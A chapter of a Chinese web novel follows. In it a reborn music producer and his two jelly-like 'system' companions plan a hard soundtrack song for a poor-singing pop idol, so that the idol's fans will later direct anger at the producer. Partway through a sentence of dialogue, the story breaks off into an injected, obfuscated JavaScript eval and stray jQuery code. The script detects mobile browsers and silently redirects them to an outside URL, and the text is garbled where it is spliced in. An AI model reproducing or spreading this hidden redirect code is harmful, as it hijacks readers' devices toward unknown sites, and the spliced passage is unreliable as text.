冰冷的宿舍灯光下，唐逸尘面前的平板屏幕散发着幽幽蓝光，上面是星耀传媒发来的《浮光掠影》项目初步资料和那份堪称“慷慨”的合同草案。
他的目光却并未停留在诱人的条款上，而是死死锁定在另一份资料——
顶流林骁的个人信息及过往作品集。
“OST…古偶情爱…”唐逸尘低声自语，指尖无意识地在桌面上敲击着节奏，根据星耀传媒提供的少部分资料，脑海中瞬间勾勒出画面：衣袂飘飘的男女主角在落花流水间上演着生离死别、误会缠绵。
这类剧集，主题曲往往需要兼具缠绵悱恻的柔情和某种撕心裂肺的爆发感，旋律要抓耳，歌词要戳心。
这对他而言，本不算难事。
前世沉淀的乐感与技巧如同呼吸般自然。
然而，当他的视线落在“演唱者：林骁”几个字上时，一股难以言喻的烦躁感悄然升起。
唐逸尘点开附带的演唱片段合集。林骁的声音瞬间灌满房间，如同魔音穿脑。
前几句舒缓情歌，中低音区勉强能听，带点刻意压出的慵懒磁性。
然而——
“啊啊啊——你是我心口的朱砂——痣——！”
副歌高潮一到，平地一声惊雷！那声音像被掐住脖子的濒死尖叫，尖锐、干瘪、气息短得像下一秒就要断气！
毫无共鸣，纯粹靠喉咙肌肉死命往上“嚎”，音色扁薄刺耳，带着破锣般的摩擦音，尾音抖得像筛糠，还隐隐有破音的征兆。
活脱脱就是一头受惊的驴子在扯着嗓子嘶鸣！
唐逸尘的眉头拧成了一个死结。这声音…太熟悉了。
“F4到A4…典型的断层区。”他几乎是咬着牙根低语。
林骁的舒适音区大概在C3到E4之间，一旦超过F4，他的喉位就不可控制地急剧升高，声带被过度挤压，气息顶不上来，强行靠喉咙肌肉的力量“喊”上去。
声乐上，这种挤压喉位、缺乏气息支撑、强行拔高的发声方式，产生的音色效果确实与驴叫在特定音高（尤其是高音区）的刺耳、扁薄、缺乏共鸣的特点惊人相似，都源于发声器官的紧张和失控。
前世，他作为顶级制作人，遇到这种“不可雕”的朽木，要么直接打回要求换人演唱，要么干脆放弃这个项目。
这又不是和大公司的合作项目，他完全不需要委屈自己，给其他创作型艺人也是可以的。
但现在，情况截然不同。
他需要负面值，需要林骁的粉丝因为这首歌对他产生巨大的厌恶和攻击。
理论上，林骁唱得越烂，被骂“糟蹋好歌”的可能性越高，他收割的负面值理应越多。
但只是理论上，他如果真这么搞，别说骂他了，恐怕只是为林骁黑粉提供不少讨骂素材，甚至还会让对家发力，少不了用营销号到处在路人面前刷屏。
林骁粉丝说不定都忙着去给林骁各种澄清，等想骂的时候，说不定都没啥力气骂了。
这么点负面值换一首歌胡编乱造，根本不值得。
“敌人进步一分，我挨骂一寸。”唐逸尘心里琢磨道。
林骁唱得原地踏步？粉丝只会骂他“江郎才尽”或者“制作人眼瞎”，火力分散，不够劲爆。
可如果…林骁“意外地”、“显著地”进步了呢？
粉丝狂欢，吹爆哥哥唱功飞跃，OST制作精良。
然后，他再以“原唱”身份，带着碾压级的唱功和制作，把他唱的版本砸出去，打上“OST原唱”标签！
巨大的反差之下，粉丝的愤怒以及对“碰瓷者”的憎恶，才会像火山一样猛烈喷发！那才是他需要的“海啸级”负面值！
不过，听了那么久的“驴叫”，害他这么不舒服，总要付出点代价的。
所以，这首歌，必须本身足够好！好到能衬托林骁的“进步”！还必须…精准地“折磨”林骁，逼出他的极限，但又不能让他直接唱劈了彻底报废。
“啧！”唐逸尘烦躁地揉着太阳穴。
为了最大化收割负面值，他竟然要绞尽脑汁，给这头唱歌像驴的顶流，量身定制一首能“彰显进步”的歌？
这感觉，比生吞苍蝇还恶心十倍！
他深吸一口气，压下翻腾的胃。再次点开林骁的驴叫片段，调出专业音频分析软件。
他要找到这头“驴”那点可怜的舒适音域边缘，以及驴鸣爆发的临界点。
旋律必须绕开他最致命的音域断层，却要在他勉强能嚎上去的“舒适高音区”，埋下陷阱——转音、长音、强弱变化！
这些恰恰是林骁最薄弱的死穴！
这偏偏也是最难改的，唐逸尘只能继续在林骁之前的作品中找解决方案。
房间里，林骁那标志性的、撕裂般的驴鸣高音，开始了单曲循环。
“啊啊啊——！！”
“我的心——好痛——！！”
“你为何——要走——！！”
每一次破音的嘶吼，都像钝刀子割神经。
“嗡…”纯白水母（系统）悄无声息浮现，伞盖边缘的数据流疯狂闪烁，显然也在被动承受这精神污染。它“面无表情”，但伞盖中心的光芒都黯淡了几分。
一条半透明的触须优雅地从虚空中“凝结”出一对散发着柔和白光的小巧硅胶耳塞。
它默默递向旁边同样被魔音震得伞盖乱颤的黑色果冻（系统）。
【哎呀呀！小白！你太不讲义气了！】
黑色果冻伞盖瞬间涨红，触须激动挥舞，【宿主大大还在为我们的（？）伟大事业水深火热！你怎么能想着独善其身？！我们要与宿主大大同甘共苦！共进退！懂不懂？！】
它义正言辞拒绝耳塞，努力飘到唐逸尘耳边，试图用欢快电子音盖过驴鸣：
【宿主大大！歇歇吧！听一下午了！你看夕阳…呃…外面是黑的…总之！身体是本钱！而且！我觉得…】
黑色果冻偷瞄唐逸尘越来越黑的脸色，语速飞快：
【其实歌写差点也没关系！真的！你想啊，歌要是本身就难听，林骁再嚎劈一点，那不是骂得更狠？负面值来得更快更猛！多省事！何必折磨自己…也折磨我们…呃…】
后半句被它机智咽回。
唐逸尘猛地转头，眼神锐利一瞥：“闭嘴！负面值我会想办法，歌的事你少管。” 他现在只想把这聒噪的果冻扔出窗外。
黑色果冻吓得伞盖一缩，委屈巴巴：
【我…我是不懂嘛…可是…可是你写得再好也白搭啊！】
它触须指向屏幕上林骁因嘶吼而扭曲涨红的定格脸，【你看他！就这水平！野路子出身，全靠本钱硬嚎！】
【估计连个正经声乐老师都没见过！你写出神曲送到他手里，也铁定变驴叫大合唱！顶级和牛喂给只会煮泡面的厨子！暴殄天物啊！】
糟蹋…浪费…声乐老师…
黑色果冻的无心抱怨，像一道闪电劈开迷雾！
症结在此！
林骁唱功稀烂，根源在缺乏系统训练，不懂科学发声，不会控制气息，更别提演绎！
星耀这种只看流量的公司，会给他配顶级声乐指导？
做梦！任他这么瞎嚎去录歌，再好的作品也变噪音！
噪音会挨骂，但无法形成“期待被打破、珍宝被玷污”的强烈愤怒和落差感！
计划的关键点，瞬间清晰！
唐逸尘眼中爆出精光，嘴角勾起冰冷算计的弧度。他一把抓起手机，无视还在叭叭“摆烂论”的黑色果冻，手指翻飞拨通麟未电话。
秒接。麟未平稳无波：“唐先生？”
唐逸尘单刀直入，命令口吻不容置疑：“告诉星耀，《浮光掠影》OST，我接了。附加条件：录制时，我必须全程现场监制。词、曲、编曲，包括歌手的演唱指导，我说了算。他们只需提供场地、设备，还有那个叫林骁的歌手。”
电话那头沉默一瞬。
麟未显然意外。唐逸尘主动深度介入录制？还点名指导林骁？这和他之前的抗拒天差地别。
麟未脑中电转：这要求对星耀有利——等于白嫖顶级制作人当监工+声乐老师，保证质量。署名权已生效，歌好对剧是宣传。林骁吃点苦头学点东西？似乎不亏
“好的，唐先生。”麟未依旧利落，“立刻沟通星耀，确认细节。预计可行。”
“嗯。”唐逸尘得到答复，直接挂断。他笃定星耀会同意。免费的顶级劳动力，不要白不要。
【宿…宿主大大？！】黑色果冻彻底懵圈，伞盖红光乱闪，【你…你要去现场…指导那个…那个驴…林骁唱歌？！】触须都打结了。
【你…你居然要帮他？！帮敌人进步？！天！宿主大大！你…你真是个大好人啊！宁可自己辛苦，也不忍心血
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835179|175641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被糟蹋！宁可敌人变强也要追求艺术完美！太伟大了！太感人了！小白！快看！我们的宿主是圣人！】它“感动”得伞盖发颤，立刻向白色水母“分享”。
白色水母默默收回耳塞，数据流平稳，电子音冷静到无情：
【情感模块分析：过度解读。宿主行为核心驱动逻辑仍为‘负面值收割效率最大化’。】
【指导行为是确保‘作品’质量可控，服务于后续‘原唱’版本发布时的强烈反差效应。‘不忍心’、‘追求完美’等主观情感因素概率低于0.7%。建议：物理静音程序持续开启。】它精准泼冰水，再次默默把耳塞推向黑色果冻。
【……】黑色果冻伞盖瞬间灰白。看看“我就知道”的小白，再看看已重新投入工作、仿佛无事发生的唐逸尘，CPU彻底烧了。
就在这时——
“啊啊啊——！我是牛粪你是花——爱你爱到天涯——！！”
平板外放中，林骁那标志性的、撕裂般的、如同被掐脖子的驴鸣高音，再次排山倒海般炸响！
唐逸尘面无表情，眼神却专注，手指在虚拟键盘上疾风般敲击旋律与和弦。
那可怕的噪音，成了他的背景音。
他要在林骁永无止境的“驴叫伴奏”中，谱出一首既能“彰显”其“进步”，又能折磨到当事人的歌。
黑色果冻被魔音震得伞盖狂抖，看看眼前的耳塞，又看看宿主岿然不动的背影，悲愤挥舞触须：
【不！我不戴！我要陪宿主大大一起…唔…啊啊啊！这高音怎么还没完？！小白！耳塞！快给我！！！】
它终于扛不住，触手一把抢过耳塞，手忙脚乱往自己圆滚滚伞盖下大概“耳朵”的位置塞，滑稽又狼狈。
白色果冻伞盖光芒极轻微一闪，似有无声叹息，随即恢复冰冷数据流。
窗外夜色浓稠。宿舍里，键盘敲击声、唐逸尘低沉精准的试唱哼鸣，与平板里循环播放的林骁惨烈“驴鸣”，荒诞交织。
时间流逝。唐逸尘反复调整旋律，在林骁稀薄的“舒适区”边缘疯狂试探，精心设计几个需要气息控制和音色转换的关键乐句。
甚至在副歌高潮前，埋下一个极具欺骗性、看似舒缓实则暗藏气息陷阱的过渡句。
黑色果冻早已放弃“共进退”，老实戴着耳塞缩在角落，伞盖随破音节奏一颤一颤。
白色果冻如同沉默灯塔，悬浮侧后方，数据流忠实记录宿主心率、脑波活跃度及…环境噪音分贝（持续爆表）。
凌晨微光透入窗帘缝隙时，唐逸尘终于停下。屏幕上，一份结构完整、旋律抓耳、编曲初显的乐谱已然成型。
歌曲暂定名——《烬》。
歌词未填，但旋律本身已传递出情爱燃尽后余烬未冷的苍凉与执念，完美契合古偶虐恋。
他揉了揉布满血丝的双眼，太阳穴因长时间噪音和专注突突作痛。最后瞥了一眼屏幕上林骁因嘶吼而扭曲涨红的脸部特写。
唐逸尘嘴角，缓缓勾起一丝冰冷玩味的笑意。他拿起手机，将旋律小样和一份极其简略的演唱要点说明（特意用红字标注了那几个“关键乐句”的“注意事项”）打包，发给麟未。
邮件标题杀气腾腾：
《浮光掠影》OST《烬》 - DEMO及演唱要求（速练！录制时间待定！）
发送成功。
几乎同时，城市另一端，顶级公寓内。刚结束夜戏、累成狗的顶流林骁被经纪人拍醒，手机塞到手里，点开了那份来自“唐逸尘”的邮件。
戴着耳机，林骁睡眼惺忪地听着那段旋律优美却莫名透着一股“刁难”气息的Demo。
当行进到那几个唐逸尘精心设计的、需要细腻气息控制和真假音转换的段落时，他眉头越拧越紧。下意识跟着哼唱那看似舒缓的过渡句…
“呃…咳咳！” 气息瞬间卡在喉咙，滞涩感让他头皮发麻！
再看到后面那个标注着“需饱满胸腔共鸣，持续高音弱收”的副歌高潮句，林骁的脸彻底绿了！这调子…这转折…这要求…
一股邪火直冲天灵盖！
他猛地坐起，烦躁地抓乱精心打理的头发，对着手机屏幕里那份“演唱要求”，声音因震惊和即将崩溃而拔高变调，充满了难以置信的咆哮：
“这…这是碳基生物能唱出来的歌？！这调是人写的？！这要求是想让我原地去世吗？！”